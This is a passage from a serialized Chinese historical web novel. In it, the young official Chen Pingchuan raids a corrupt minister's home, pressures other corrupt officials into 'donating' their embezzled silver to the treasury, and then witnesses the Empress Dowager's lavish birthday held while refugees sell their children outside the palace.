难道他能说,国家不需要钱吗? 所有人都以为,陈平川会推辞,会辩解。 然而,陈平川的反应,再次让所有人大跌眼镜。 只见他从队列中,缓缓走出,脸上带着一丝淡然的微笑。 他对着梁越,拱了拱手。 “国舅所言,甚是有理。” 然后,他转向景帝,朗声说道: “为君分忧,乃人臣本分。此事,臣,万死不辞!” 他……他竟然答应了?! 他疯了吗?! 梁越的脸上,露出了奸计得逞的狂喜。 张廷玉急得差点一口气没上来。 景帝也是一脸的错愕和担忧。 陈平川却仿佛没有看到众人的表情,他继续说道: “不过,臣,有一个条件。” “哦?爱卿有何条件?但说无妨!” 景帝连忙问道。 陈平川的目光,缓缓扫过梁越和他身后那些脸色各异的梁党官员,嘴角勾起一抹冰冷的弧度。 “此番‘国库增收’大计,非同小可。期间,必然会遇到重重阻力。” “要想在三月内完成任务,臣需要人手,更需要……绝对的权力!” “臣,恳请陛下,赐臣‘如朕亲临’金牌一面!” “任何人,不得以任何理由,阻挠臣办事!” “若有违抗者,可先斩后奏!” 他又顿了顿,补充道: “另外,臣还需两名帮手,翰林院的林锦玉,以及外放的同科进士慕容修,请陛下一并调拨给臣!” “准奏!” 景帝精神一振,想都没想,当即拍板! “朕,不但赐你金牌,还赐你兵马!” 他当即下令,命御林军副统领,带一千精锐,即刻起,听凭忠勇侯调遣! 景帝心里明白,陈平川敢接这烫手山芋,就说明他肯定有办法! 梁越站在一旁,嘴角噙着一抹不屑的冷笑。 要权?要人?真是天真! 他根本不信陈平川能凭空变出三百万两。 在他看来,陈平川这番举动,不过是虚张声势,想在临死前拉几个垫背的罢了。 权力再大,难道还能凭空印银子不成? 他已经迫不及待地想看到三个月后,陈平川威信扫地,被治欺君之罪的惨状了。 第183章 一百二十万两!卢大人,你作何解释? 拿到了景帝的授权,陈平川并没有立刻大张旗鼓地行动。 他先是回了趟府,好好地睡了一觉,养足精神。 张若素的伤势,在宫中御医的精心调理下,也已无大碍,只是需要静养。 这让他彻底放下了心。 接下来,他要全力以赴对付梁越! 第三天一早,陈平川点名要的人,都到齐了。 林锦玉和慕容修,一左一右,站在忠勇侯府的书房里,神情都有些复杂。 林锦玉还好,他一直在陈平川的身边,对于陈平川的种种“壮举”,已经有些见怪不怪了。 他只是苦笑着摇了摇头。 “平川兄,你这次,可真是玩得太大了。” “三百万两,三个月……我这两天愁得头发都白了好几根。” 而另一边的慕容修,则完全是另一番心境。 他因为性子淡泊,不愿钻营,被排挤到了一个偏远州县,当了个无足轻重的小官。 本以为,自己这辈子,就要在那山沟沟里皓首穷经,蹉跎一生了。 却万万没想到,一纸调令,竟将他从那潭死水中,直接拉回了京城这个权力的漩涡中心! 而且,还是被如今圣眷最隆,风头最劲的陈平川,亲自点名! “陈……侯爷。” 慕容修有些拘谨地拱了拱手。 “下官……实在不明白,侯爷为何会选中下官?” 陈平川看着他,笑了。 “慕容兄,你我同科好友,就不要叫我侯爷了。” 他走上前,拍了拍慕容修的肩膀。 “你的才华,我比谁都清楚。我记得,当年你曾对我说,你并非不想一展抱负,只是不屑与那些宵小之辈同流合污。” “那么,现在机会来了,你敢不敢和我一起干一番大事业?” “还是说,你真的甘心,在那穷乡僻壤,埋没一生?” 慕容修浑身一震。 他抬起头,看着陈平川那双清澈而又充满力量的眼睛,胸中那早已沉寂的热血,仿佛又一次,燃烧了起来。 “侯……陈兄知遇之恩,修,没齿难忘!” 他深深一揖。 “敢问陈兄,我等,当如何行事?” 陈平川的嘴角,勾起一抹弧度。 “我们的第一步,就是让整个京城,都听到我们的声音。” “而且,要足够响亮。” 当天下午。 陈平川便开始了行动。 他的第一个目标,就让整个京城,都为之震动! 他没有去掌管国家财政的户部。 也没有去负责征收商税的税关。 他率领着那一千名由副统领亲自带队的御林军,甲胄鲜明,刀枪雪亮,浩浩荡荡的,直接开到了兵部尚书,卢志安的府邸门前! 一千精兵,将那座占地广阔,气派非凡的尚书府,围得水泄不通! 肃杀之气,冲天而起! 周围的百姓和路过的官员,全都看傻了。 这是要干什么? 兵变吗? 忠勇侯带兵,围了兵部尚书的家? 这消息,顿时在京城炸开了锅! 卢志安气急败坏地从府里冲了出来。 他身后跟着几十名家丁护院,个个手持棍棒,严阵以待。 “陈平川!你好大的胆子!” 卢志安指着马背上的陈平川,气得胡子都在发抖。 “你竟敢带兵围攻朝廷二品大员的府邸!你是要造反吗?!” 陈平川坐在高头大马上,居高临下地看着他,神情淡漠。 他什么话都没说,只是从怀里,缓缓地,掏出了一面金光闪闪的牌子。 牌子之上,雕龙画凤,正面刻着四个大字——“如朕亲临”! 卢志安的咆哮,瞬间卡在了喉咙里。 他的瞳孔,猛地收缩! 如朕亲临金牌! 见此牌,如见皇帝亲至! 他脸上的嚣张和愤怒,瞬间褪去,转而被惊恐和不敢置信所取代。 “你……你……” 陈平川依旧没有理他。 他从怀里,又掏出了一本薄薄的册子。 正是石问天给他的那本秘密账本。 他翻开第一页,朗声念道: “景元十三年,兵部尚书卢志安,以修缮边关军备为名,虚报开支白银三十万两,实则中饱私囊二十万两。” “景元十四年,克扣北境三万将士冬衣,致使冻死冻伤者,上千人。所贪墨款项,白银一十五万两。” “景元十五年,倒卖军械……” 他每念一条,卢志安的脸色,就白一分。 念到第三条的时候,卢志安已经浑身发软,冷汗浸透了朝服,几乎站立不住。 他怎么也想不通,这些他自以为做得天衣无缝,只有几个心腹才知道的秘密,陈平川,是怎么知道的?! 而且,还知道得如此清楚!连具体年份和数额,都分毫不差! “拿下!” 陈平川合上账本,冷冷地吐出两个字。 御林军副统领一挥手,如狼似虎的士兵,立刻上前,将卢志安和那些家丁,全部按倒在地! 卢志安手持着他那枚兵部尚书的大印,还在做最后的挣扎。 “我乃朝廷二品大员!你不能……你不能没有证据就抄我的家!” “证据?” 陈平川冷笑一声。 “很快,就有了。” 他对着身后的御林军,下达了命令。 “搜!” “府内,一草一木,一砖一瓦,都给我搜仔细了!” “我倒要看看,我们堂堂兵部尚书,家里到底藏了多少‘货’!” “是!” 一千御林军,齐声应诺,声震四野! 他们冲进尚书府,开始了一场精准而又高效的抄家行动。 很快,书房的暗格、卧房的夹墙、后花园假山下的地窖…… 一处处隐秘的地点被找到。 里面的景象,让所有人都倒吸了一口凉气! 一箱箱码放整齐的金条! 一车车白花花的银锭! 一匣子一匣子璀璨夺目的珠宝玉器! 还有数不清的前朝字画,古玩珍品,以及厚厚一叠的各地商铺、良田的地契! 这些东西,如流水一般,被从暗处抬了出来,堆放在尚书府前的空地上。 很快,就堆成了一座金光闪闪的小山! 那刺眼的光芒,几乎要闪瞎所有围观者的眼睛! 经过林锦玉和慕容修的初步清点。 仅仅抄出的金银珠宝,古董字画,折合成白银,竟然高达一百二十万两! 一百二十万两啊! 这相当于大业朝一年税收的结余了! 这还没算商铺和地契! “卢大人,你身为兵部尚书,一年的供奉一百六十石米,就算你十年不吃不喝,也积攒不到这么多钱财,请问,你作何解释啊?” 陈平川骑在马上,淡淡地问道。 面对这如山的铁证,卢志安嘴唇翕动,一个字也说不出来。 他面如死灰,眼神空洞,仿佛一瞬间被抽走了所有的精气神。 他知道,他完了。 彻底完了。 “既然解释不了,那就去天牢里,好好想一想吧。” 陈平川一挥手。 “带走!” 曾经不可一世的兵部尚书卢志安,就这么被卸去官服,戴上枷锁,如同一条死狗般,被拖上了囚车。 消息传出,朝野震动! 所有梁党的官员,在听到这个消息的瞬间,都是人人自危,彻夜难眠! 他们终于明白了。 陈平川接下的,根本不是一个什么“国库增收”的任务。 而是一把由皇帝亲授,可以先斩后奏的屠刀! 而现在,这把刀,已经高高地举起,架在了他们所有人的脖子上! 下一个,会是谁? 第184章 杀人诛心!让你不打自招的阳谋! 抄了卢志安的家,京城的官场,迎来了一场八级地震。 所有人都以为,陈平川会乘胜追击,拿着那本神秘的账本,挨个点名,将梁党的官员,一个个地送进天牢。 京城一时间风声鹤唳,那些平日里作威作福的梁党官员,一个个都成了惊弓之鸟,连门都不敢出,生怕下一刻,陈平川就找上自家的大门。 然而,陈平川接下来的举动,却又一次,出乎了所有人的预料。 他并没有继续抓人。 反而是上了一道奏折,奏请景帝,在刑部大牢的旁边,设立一个史无前例的新衙门。 衙门的牌匾,是陈平川亲手所书,龙飞凤舞五个大字—— “廉政募捐司”。 这个名字,让所有人都摸不着头脑。 廉政? 募捐? 这是什么意思? 很快,募捐司门口贴出的一张告示,就为所有人解了惑。 告示的内容,简单粗暴,却又充满了“善意”: 凡我大业朝官员,若曾有贪墨不法、以权谋私之举,皆可痛改前非,重新做人。 只要在限期三个月内,主动向国库“捐款”,以示悔过之心。 朝廷,可念其主动,酌情从宽发落。 捐得越多,态度越诚恳,罪责,自然就越轻。 若是冥顽不灵,企图蒙混过关者,一经查实,休怪朝廷律法无情! 前兵部尚书卢志安,便是尔等前车之鉴! 这一招,简直是狠到了骨子里! 它不点你的名,却让每一个心里有鬼的贪官,都感觉自己的名字,就写在那张告示上! 它不逼你,却用卢志安的下场,给你上了一道紧箍咒! 捐,还是不捐? 这成了一个问题。 捐了,就等于不打自招,承认自己贪了。 可不捐,万一陈平川那本“死亡笔记”上,有自己的名字怎么办? 到时候,可就不是捐款能了事了,那是要抄家灭族啊! 好,那就捐! 可捐多少,又成了一个天大的难题。 捐少了,怕陈平川觉得你没诚意,是在敷衍他,回头照样收拾你。 捐多了,自己几十年辛辛苦苦捞来的家产,就这么拱手送人,那比杀了他们还难受! 而且,你捐的数目,不就等于告诉了陈平川,你到底贪了多少吗? 一时间,京城所有心里有鬼的官员,都陷入了这种自我折磨和痛苦纠结之中。 吃不下饭,睡不着觉,短短几天,就个个眼窝深陷,面黄肌瘦,比死了爹娘还难受。 吏部侍郎燕大人,就是其中最焦虑的一个。 他作为梁党的核心成员之一,这些年跟着梁越,没少捞好处。 他急得在家里团团转,如同热锅上的蚂蚁。 “爹!您别转了!我头都快被你转晕了!” 燕世藩扶着额头,不耐烦地说道。 “不就是个什么破募捐司吗?那陈平川还能吃了我们不成?” “我们背后可是国舅爷!他敢动我们?” 燕侍郎看着自己这个不争气的儿子,气不打一处来。 “你懂个屁!” “现在卢志安都倒了!国舅爷自身都难保!你还指望他?” “你不是和那个陈平川是同科进士吗?现在就去募捐司探探虚实!套套陈平川的话,看他到底想干什么!手里掌握了咱家多少东西!” 燕世藩被他老子逼得没办法,只能心不甘情不愿地,坐着他那辆豪华马车,来到了“廉政募捐司”的门口。 募捐司里,冷冷清清。 只有一个年轻人,坐在堂上,慢悠悠地喝着茶。 正是被陈平川调来,负责坐堂收钱的慕容修。 燕世藩仗着自己国舅爷外甥的身份,平日里嚣张跋扈惯了。 他大摇大摆地走进去,拿马鞭敲了敲桌子,斜着眼看慕容修。 “慕容修!陈平川呢?” 慕容修连眼皮都没抬一下。 他只是轻轻吹了吹茶碗里的浮沫,然后慢悠悠地,抿了一口茶。 那副气定神闲的样子,看得燕世藩火冒三丈。 一个不知道从哪个犄角旮旯里冒出来的小官,也敢在他面前摆谱? 不过,想到父亲的交代,他只好忍气吞声。 “慕容兄,你告诉我,你们这儿,到底是个什么章程?捐多少,才算有诚意啊?” 慕容修抬眼看了严世蕃一眼,淡淡开口。 “燕公子,令尊三年前,曾督办科考。我听说,当时津州知府,曾送了令尊一幅前朝唐演的《山路松声图》,作为‘润笔’之资。” “不知那幅画,如今,可还安好?” 燕世藩脸上的嚣张,瞬间凝固了。 这件事,是他爹办过的,最隐秘的一件事! 当时在场的,只有他和苏州知府,天知地知,他知他爹知! 这个家伙,是怎么知道的?! 慕容修仿佛没有看到他那副见了鬼的表情,继续自顾自地说道: “哦,对了,还有两年前,令尊负责修缮京城官道,据说,光是采买石料一项,就虚报了白银八万两。” “去年冬天,令尊将吏部一个从五品的空缺,卖了五万两银子,买家是松州的一个盐商……” 他一口气,不紧不慢的,说出了好几件燕侍郎贪赃枉法的秘事。 每一件,都说得清清楚楚,时间,地点,人物,数额,分毫不差! 这些,自然都是林锦玉这几天,根据石问天的账本作为线索,结合翰林院的档案,顺藤摸瓜,查出来的。 陈平川把他们两人分工,一个负责在幕后深挖线索,一个负责在台前坐镇施压。 效果,拔群! 燕世藩的脸色,已经由白转青,由青转紫。 他浑身都在发抖,冷汗顺着额角,大颗大颗地往下淌。 他感觉自己就像是被人扒光了衣服,赤条条地扔在冰天雪地里。 恐惧! 前所未有的恐惧,瞬间吞没了他! 他们……他们竟然什么都知道! “我……我……” 燕世藩嘴唇哆嗦着,一个字也说不出来。 最后,他“嗷”的一声怪叫,像是被踩了尾巴的猫,转身就往外跑,连滚带爬,狼狈不堪。 当天晚上。 吏部侍郎燕大人,亲自押着七八辆装满了金银的大马车,来到了廉政募捐司的门口。 他哭丧着脸,看着一箱箱的银子被抬进去,心疼得直哆嗦,那表情,比死了亲爹还难看。 燕家,成了京城第一个“主动”前来捐款的,得到了陈平川的当众表扬。 这个消息,成了压垮骆驼的最后一根稻草。 京城的贪官们,彻底崩溃了。 第185章 京城贪官集体破防,排队求割肉! 当天晚上,京城的大街上,就出现了一道蔚为壮观的奇景。 一辆辆马车,从各个官员府邸的后门,悄悄地驶出。 车上的人,都用黑布蒙着脸,鬼鬼祟祟,做贼一样。 他们的目的地,出奇地一致——廉政募捐司。 很快,募捐司的门口,就排起了长长的马车队伍。 甚至,为了能排在前面,早点捐完回家,还有两个蒙面的官员,因为抢位置,大打出手,在地上滚作一团,场面一度十分混乱。 这一幕,堪称大业朝开国以来,最荒诞,也最讽刺的一幕。 廉政募捐司内,灯火通明。 与外面的嘈杂和混乱不同,司内一片井然有序。 慕容修坐在堂上,面无表情。 他面前的桌子上,摆着一本厚厚的册子,封面上写着三个大字——“功德簿”。 一个个平日里在外面人五人六,道貌岸然的大人们,此刻都像犯了错的学生,低着头,排着队,等着“交作业”。 轮到谁了,谁就哭丧着脸,报上自己的姓名、官职,和“募捐”的数额。 然后,指挥着自家的下人,把一箱箱沉甸甸的银子,抬进后面的库房。 那场面,真是闻者伤心,见者落泪。 官员们一边看着自己家的银子被搬空,一边痛哭流涕,捶胸顿足,仿佛被人活生生地割肉一般。 “我的银子啊……我攒了半辈子的银子啊……” 一个户部的主事,看着自家五万两白银被抬进去,哭得差点当场昏过去。 慕容修却是不为所动。 他只是面无表情地,提笔在“功德簿”上,记下一笔。 嘴里,还用一种毫无感情的语调,念叨着,像是在唱喏。 “户部主事,王大人,捐银五万两,悔过之心,诚意可嘉,朝廷记下了。” “兵部员外郎,李大人,捐银八万两,可见平日里勤俭持家,节衣缩食,为国分忧,值得百官表彰!” 他这番话,听得那些官员们,想死的心都有了。 什么叫悔过之心? 什么叫勤俭持家? 这他妈都是我们贪的血汗钱啊! 你这是在夸我们,还是在骂我们? 可他们还不敢反驳,只能打碎了牙往肚里咽,还得挤出比哭还难看的笑容,对着慕容修连连作揖。 “慕容大人说的是,为国分忧,是我等本分……” 一晚上下来,功德簿上,就记下了厚厚的好几页。 库房里的银子,也堆成了一座小山。 消息传到国舅府。 梁越气得当场就砸了他最心爱的一方砚台。 “岂有此理!简直是岂有此理!” 他气得在书房里暴跳如雷。 “陈平川!你这是敲诈!这是勒索!这是在动摇我大业的国本!” 他眼睁睁地看着自己辛辛苦苦培养起来的党羽,被陈平川用这种“合法”的手段,一个个地敲骨吸髓。 这两天,来他府上哭诉的官员,门槛都快被踏破了。 一个个都跪在他面前,哭着喊着,求国舅爷给他们做主。 可他能怎么办? 陈平川手里有“如朕亲临”的金牌,做的事情,名义上又是为了给国库“募捐”。 他根本抓不到任何把柄! 而且,这一切他自己亲手促成的! “不行!不能再让他这么搞下去了!” 梁越坐不住了。 再这么下去,他这个派系,就要被陈平川从经济上,给彻底搞垮了! 第二天一早,他便急冲冲地闯进皇宫,直奔御书房,向景帝“哭诉”去了。 御书房内。 景帝正心情大好地,翻看着一本由慕容修连夜呈上来的“功德簿”。 看着上面那一笔笔惊人的数额,他脸上的笑容,就没断过。 爽! 太爽了! 这些年,国库空虚,他这个皇帝,当得憋屈无比。 想做点什么事,都因为没钱而束手束脚。 现在好了,陈平川这一招,简直是神来之笔! 不费吹灰之力,就让这群蛀虫,把吃进去的钱,乖乖地吐了出来! “陛下!陛下!您要为臣等做主啊!” 梁越一进门,就“扑通”一声跪下了,老泪纵横。 “那陈平川,假借募捐之名,行敲诈勒索之实!搞得现在是人心惶惶,百官不宁啊!” “他这不是在为国分忧,他这是在动摇国本,是在挖我大业朝的根基啊!” “长此以往,国将不国啊!请陛下,立刻下旨,叫停那个荒唐的‘廉政募捐司’!” 景帝缓缓地放下手里的功德簿。 他看着跪在地上,哭得一把鼻涕一把泪的梁越,心中冷笑。 动摇国本? 你们这群贪官污吏,把国库都蛀空了的时候,怎么不说动摇国本? 现在让你们把钱吐出来,就成了动摇国本了? 脸呢? 景帝站起身,走到梁越面前,亲自将他扶了起来。 “国舅言重了,快快请起。” 他的态度,和蔼可亲。 然后,他拿起桌上那一摞厚厚的功德簿,放到了梁越的手里。 “国舅啊,朕看到的,不是什么敲诈勒索,而是一片忠君爱国之心呐!” “你看看,王侍郎,捐了五万两。李主事,捐了八万两。还有燕侍郎,更是深明大义,一下子就捐了二十万两!” “他们,都是我大业的忠臣啊!” 景帝的语气,充满了“感动”。 “难道在国舅看来,我大业的官员,连这点为国分忧的觉悟,都没有吗?” “还是说……” 景帝的眼神,陡然一冷,话锋变得犀利起来。 “国舅有更好的办法,能在这么短的时间内,为国库筹集到如此巨款?” “陈平川的军令状,可是立在那里的。三月,三百万两。” “现在,这才过去不到十天,这功德簿上的总额,就已经突破五百万两了!” “国舅,你告诉朕,朕,是该叫停呢?还是该给陈爱卿,记一个头等大功呢?” “这……” 梁越被景帝这一番话,噎得一个字也说不出来。 他望着那几本沉甸甸的功德簿,又看着景帝那双带笑,却又无比冰冷的眼睛,一张老脸,瞬间毫无血色。 他知道,在这场交锋中,自己又输了! 他只能眼睁睁地看着,自己辛苦建立起来的财富帝国,被陈平川,用一把“合法”的刀,割得支离破碎。 而他,却毫无办法。 这种无力感,让他几乎要发狂! 陈平川! 我梁越,与你,不共戴天! 第186章 一步登天!陈平川,权倾朝野! 三个月期限的最后一天。 林锦玉和慕容修,带着几十个账房先生,通宵达旦,终于将所有的账目,清点完毕。 当最终的数字统计出来时,即便是见惯了大场面的林锦玉,也忍不住倒吸了一口凉气。 整整一千三百万两白银! 这还不包括那些被折算成银两的古玩字画、田产商铺! 三百万两的军令状,陈平川不仅完成,还超额完成了四倍还多! 这个数字,足以让整个大业朝,为之疯狂! 消息传出,天下哗然。 …… 第二日,早朝。 当大学士张廷玉,将那本厚得像砖头一样的最终版“功德簿”,以及那份一千三百万两的汇总清单,呈到景帝面前时。 整个金銮殿,陷入了一片死寂。 所有官员,无论是梁党还是清流,都瞪大了眼睛,伸长了脖子,向景帝这边张望。 当景帝颤抖着声音,将那个惊天动地的数字念出来时。 “众爱卿……忠勇侯陈平川,一月之内,为国库……募得白银……一千三百万两!” 轰! 整个朝堂,瞬间炸开了锅! “什么?多少?我没听错吧?一千三百万两?” “天呐!这……这怎么可能!我们大业朝一年的税收,刨去开支,也才结余一百多万两啊!” “疯了!陈平川简直是疯了!他是把整个京城的官员都给抄了一遍吗?” 梁党的官员们,一个个面如死灰,双腿发软。 他们知道陈平川搞到了不少钱,但万万没想到,竟然有这么多! 这哪里是割肉,这他妈是把他们连骨头带髓都给榨干了啊! 而那些清流派的官员,则是一个个激动得满脸通红,身体都在微微颤抖。 解气! 太解气了! 这些年,他们眼睁睁地看着梁党这群蛀虫,把国家蛀空,把百姓的血汗钱中饱私囊,却无能为力。 现在,陈平川用雷霆手段,把这些钱,又都给挖了出来! 这简直是大快人心! 龙椅之上,景帝的激动,已经无法用言语来形容。 他拿着那份奏报的手,剧烈地颤抖,眼眶,也渐渐红了。 一千三百万两啊! 有了这笔钱,他可以修缮边防,可以赈济灾民,可以打造新军,可以做太多太多他以前想做却不敢做的事情! 他这个皇帝,终于可以挺直腰杆了! “好啊!” 景帝一拍龙椅,大喝一声,声音里充满了畅快和激动。 “好!好一个陈平川!好一个国之柱石!” 他站起身,目光扫过殿下百官,最后,落在了面色阴沉如水的梁越身上。 “国舅!” 景帝的声音,响彻大殿。 “你不是说,陈平川是在动摇国本吗?” “现在,他为国库增收一千三百万两,朕倒要问问你,这算是动摇国本,还是稳固国本啊?!” 梁越的脸,瞬间涨得通红。 他张了张嘴,却一个字也说不出来。 他能说什么? 说这钱都是从他的人身上刮下来的,不是陈平川的功劳? 那不是等于承认,他梁党上下,全是贪官污吏吗? 景帝看着他那副吃瘪的样子,心中爽快到了极点。 他不再理会梁越,转而看向陈平川,脸上瞬间堆满了笑容,那亲切的模样,仿佛在看自己的亲儿子。 “陈爱卿!” “臣在。” 陈平川出列,神情淡然,心若浮云。 “你此番,为国为民,立下不世之功!朕,要重赏你!” 景帝的声音,充满了豪气。 “传朕旨意!” “忠勇侯陈平川,智勇双全,功在社稷,加封为太子少保,仍领兵部右侍郎衔,兼管廉政募捐司,钦此!” 太子少保! 这可是从一品的虚衔,虽然没有实权,但却是臣子能够获得的最高荣誉之一! 陈平川,一个不到二十岁的少年,竟然一步登天,位列从一品! 这在大业朝,是绝无仅有的! 景帝似乎觉得还不够,继续高声道:“赏白银一万两!锦缎一千匹!另,朕亲书‘国之柱石’牌匾一块,赐予忠勇侯府!” “吾皇万岁万岁万万岁!” 张廷玉等保皇派大臣,立刻跪地高呼,一个个激动得热泪盈眶。 而梁党的官员们,则是个个心如刀绞。 赏陈平川的白银,那可都是从他们身上刮下来的血汗钱啊! 这他妈算怎么回事? 用我的钱,赏我的敌人? 还有天理吗?还有王法吗? 陈平川的声望,在这一刻,达到了前所未有的顶峰。 朝堂之上,再无人敢小觑这个年轻的侯爷。 梁党的官员,见到他,都像是老鼠见了猫,一个个低着头,绕道而行,噤若寒蝉。 而京城的百姓,更是将他奉若神明。 “陈青天”的名号,响彻大街小巷。 一时间,陈平川的威望如日中天,权倾朝野! 国舅府内。 “混账!混账!” 梁越双目赤红,状若疯狗。 他嘶吼着,声音里充满了无尽的怨毒和不甘。 他多年来辛辛苦苦建立的权势根基,竟然被陈平川用这么一招釜底抽薪,给挖空了大半! 梁党元气大伤! 这一次,是真正的元气大伤! “国舅爷息怒。” 一个阴柔的声音响起,一个身穿文士长衫的中年人,从屏风后走出,对着梁越微微一揖。 此人,正是梁越的首席幕僚,人称“毒士”的李思。 “如今陈平川圣眷正隆,锋芒毕露,我们此时与他硬碰,绝非明智之举。” 李思慢条斯理地说道。 梁越喘着粗气,胸口剧烈起伏。 “那你的意思,就让他这么嚣张下去?眼睁睁地看着他,把我们的人,一个个都踩在脚下?” “当然不是。” 李思的眼中,闪过一丝阴冷的寒光。 “木秀于林,风必摧之。人狂于众,天必收之。” “他现在爬得越高,摔下来的时候,就会越惨。” “我们现在要做的,不是去和他争锋,而是要忍。” “忍?” “对,忍。” 李思的声音,带着一种蛊惑人心的力量。 “国舅爷,您忘了,我们手里,还有一张最大的王牌。” 梁越猛地一愣,随即眼中闪过一丝明悟。 “你是说……太后?” 李思微微一笑,点了点头。 “不错。只要太后还在,这大业朝的天,就翻不了。” “陈平川现在有多风光,太后心里,就会有多么厌恶他。” “我们只需要静静地等待,等待一个机会,等待陈平川自己,膨胀,狂妄,自大,目中无人……” “等到他得意忘形,犯下不可饶恕的大错时,我们再出手。” “到那时,就算皇帝想保他,也保不住!” “我们要做的,就是将他彻底打入万劫不复之地!” 梁越听着李思的话,眼中的疯狂,渐渐退去,取而代之的,是更加深沉的阴狠和冰冷。 他缓缓坐下,端起茶杯,轻轻吹了吹。 “好,就依你所言。” “传令下去,让我们的人,都给本国舅收敛一点,夹起尾巴做人。” “这段时间,就让陈平川,再得意几天。” “本国舅,倒要看看,他能得意到什么时候!” …… 一股看不见的暗流,在京城的平静之下,悄然涌动。 而就在此时,一个消息,从宫中传出。 下个月十五,是当朝太后,梁太后的六十大寿。 一场更大的风暴,正在悄然酝酿。 第187章 宫内笙歌庆华诞,墙外卖儿哭断肠 梁太后的六十大寿,这对于整个梁党来说,无疑是一件头等大事。 这可是他们恭维献媚的绝佳机会。 梁越下令,一个字:办! 要大办,特办,往死里办! 要办得风风光光,要办得奢华无比,要办得让全天下人都知道,谁,才是这大业朝真正的主人! 一时间,整个京城,都为了这场寿宴,而疯狂地运转起来。 梁越亲自坐镇指挥,直接动用了国库的银两。 当然,名义上,是景帝感念太后养育之恩,主动下旨,为太后贺寿。 实际上,谁都知道,这钱,都是梁越一句话的事。 刚刚因为陈平川的“募捐”而充盈起来的国库,还没等景帝捂热乎,就像开了闸的洪水一般,哗啦啦地往外流。 第一件事,就是修缮慈宁宫。 梁越嫌弃原来的宫殿不够气派,不够辉煌,配不上他妹妹的身份。 一声令下,数千名工匠被征召而来,日夜赶工。 从江南,一船一船的太湖奇石,被运抵京城。 从蜀中,一根一根珍贵的金丝楠木,被千里迢迢地送来。 光是为了搭建一座给太后听戏的戏台,就耗费了白银数十万两! 那戏台,雕梁画栋,金碧辉煌,据说连地上的砖,都是用金粉和着泥烧制的,在阳光下,能闪瞎人的眼睛。 整个慈宁宫,被扩建得比皇帝的乾清宫还要宏伟,还要奢华。 宫里的一草一木,一砖一瓦,都透着一股金钱的腐朽味道。 寿宴的菜单,更是铺张到了极点。 山中跑的,天上飞的,水里游的,只要是能想到的山珍海味,应有尽有。 什么熊掌、燕窝、鱼翅,都只是开胃小菜。 据说,其中有一道名为“凤穿牡丹”的菜,光是选材,就要从上百只雏鸡中,挑选最嫩的那一只,再配以千年的人参,天山上的雪莲…… 其工序之繁复,用料之珍奇,骇人听闻。 仅仅这一道菜的成本,就高达数千两白银! 这个价钱,足以让一个普通的百姓家庭,富足地生活一辈子! 整个皇宫,都笼罩在一片喜庆而又奢靡的氛围之中。 宫女太监们,个个换上了新衣,脸上洋溢着喜气。 官员们,为了能给太后送上一份“别出心裁”的寿礼,更是挖空了心思,跑断了双腿。 然而,在这片歌舞升平,穷奢极欲的背后,却是另一番截然不同的凄惨景象。 京城之外。 因为连年的天灾,再加上地方官员为了讨好上官而层层加码的苛捐杂税,无数百姓,家破人亡,流离失所。 大量的灾民,涌向了京城,希望能在天子脚下,求得一条活路。 但他们看到的,不是皇恩浩荡,而是紧闭的城门,和官兵们冰冷的刀枪。 他们被拦在城外,像牲口一样,蜷缩在城墙根下,在寒风中瑟瑟发抖。 饥饿,寒冷,疾病,像瘟疫一样,在他们之间蔓延。 …… 太后寿宴当天。 陈平川作为当朝新贵,太子少保,自然也在受邀之列。 他乘坐着侯爵的马车,缓缓驶向皇宫。 当马车行至那处街角时,他看到了扎心的一幕。 就在那金碧辉煌,夜夜笙歌的慈宁宫外,不过一墙之隔的街角。 一个衣衫褴褛,面黄肌瘦的男人,正跪在地上,身边躺着一块破旧的草席。 草席上,也躺着一个孩子,一个看起来只有六七岁的小女孩。 小女孩的脸,因为饥饿和寒冷,已经没有了血色,嘴唇冻得发紫。 但她很懂事,不哭,也不闹。 只是睁着一双麻木的大眼睛,呆呆地看着周围繁华而又陌生的一切。 在草席的前头,插着一根草标。 上面用木炭,歪歪扭扭地写着两个字——“卖儿”。 听着院墙里舞升平声,看着墙外那个跪地卖女的父亲,看到了那个躺在草席上,眼神空洞的小女孩。 朱门酒肉臭,路有冻死骨。 这句诗在此刻,显得如此的真实,又如此的讽刺。 一股难以言喻的怒火,从陈平川胸腔中,直冲头顶! 这就是他为之奋斗,为之流血的大业朝! 这就是他费尽心机,从那些贪官污吏手中,追回了上千万两白银的朝廷! 可这些钱,没有用到赈济灾民上,没有用到加固边防上,却被用来给一个老太婆,办一场极尽奢华的寿宴! 何其荒唐! 何其可悲! “停车!” 陈平川冷声喝道。 他走下马车,来到那个父亲面前,从怀里掏出了一个钱袋,递了过去。 “拿着钱,把孩子带回去,好好过日子。” 那个父亲抬起头,看到陈平川一身官袍,气度不凡,先是一愣,随即反应过来,拼命地磕头。 “谢谢大老爷!谢谢大老爷的恩典!” 他接过钱袋,掂了掂,脸上的感激,却瞬间变成了绝望和苦涩。 “大老爷,您的心意,小的领了。” 他跪在地上,泣不成声。 “可是……不够啊!” “这点钱,根本不够啊!” “乡里的苛捐杂税,一笔接着一笔,就像刀子一样,逼得我们活不下去啊!” “我把女儿卖了,她进了富贵人家,或许……或许还能有口饭吃,还能活下去。” “可要是跟着我,我们父女俩,早晚都得饿死啊!” 男人的哭诉,像一记记重锤,狠狠地砸在陈平川的心上。 他的手,紧紧地攥成了拳头,血管凸起! 他还能说什么? 他什么也说不了。 他可以给这个父亲更多银子,但他能给天下所有被逼到卖儿卖女的父亲银子吗? 他不能。 问题的根源,不在于钱。 而在于这个烂到了骨子里的朝廷! 他默默地收回银子,又从怀里掏出了一块令牌,递给了他。 “这是忠勇侯府的令牌,你拿着它,去城南的养济院,就说是我让你去的,他们会收留你们父女。” 说完,他不再看那对可怜的父女,转身,回到了马车上。 只是那张一向平静的脸上,此刻,已经覆上了一层冰霜。 马车,缓缓驶入宫门。 在宫门口,他遇到了同样前来赴宴的林锦玉。 林锦玉看到陈平川的脸色,心里顿时“咯噔”一下。 他快步走上前,低声劝道:“平川兄,你……你这是怎么了?” “今日是太后大寿,宫里,可是龙潭虎穴。” 林锦玉的语气里,充满了担忧。 “那梁越,巴不得你犯错,正愁抓不到你的把柄。” “你今日,可千万,千万不能意气用事啊!” “我知道。” 陈平川点了点头,声音却冷得像冰。 他没有再说什么,只是径直,朝着那座金碧辉煌,却又散发着腐朽气息的慈宁宫,大步走去。 林锦玉看着他的背影,叹口气,他有种预感。 今天,要出大事! 第188章 好家伙,一首诗,将太后骂得心花怒放! 慈宁宫内,此刻早已是人声鼎沸,热闹非凡。 大殿正中,梁太后身穿一身绣着金凤的华贵宫装,头戴凤冠,满脸红光地坐在主位上。 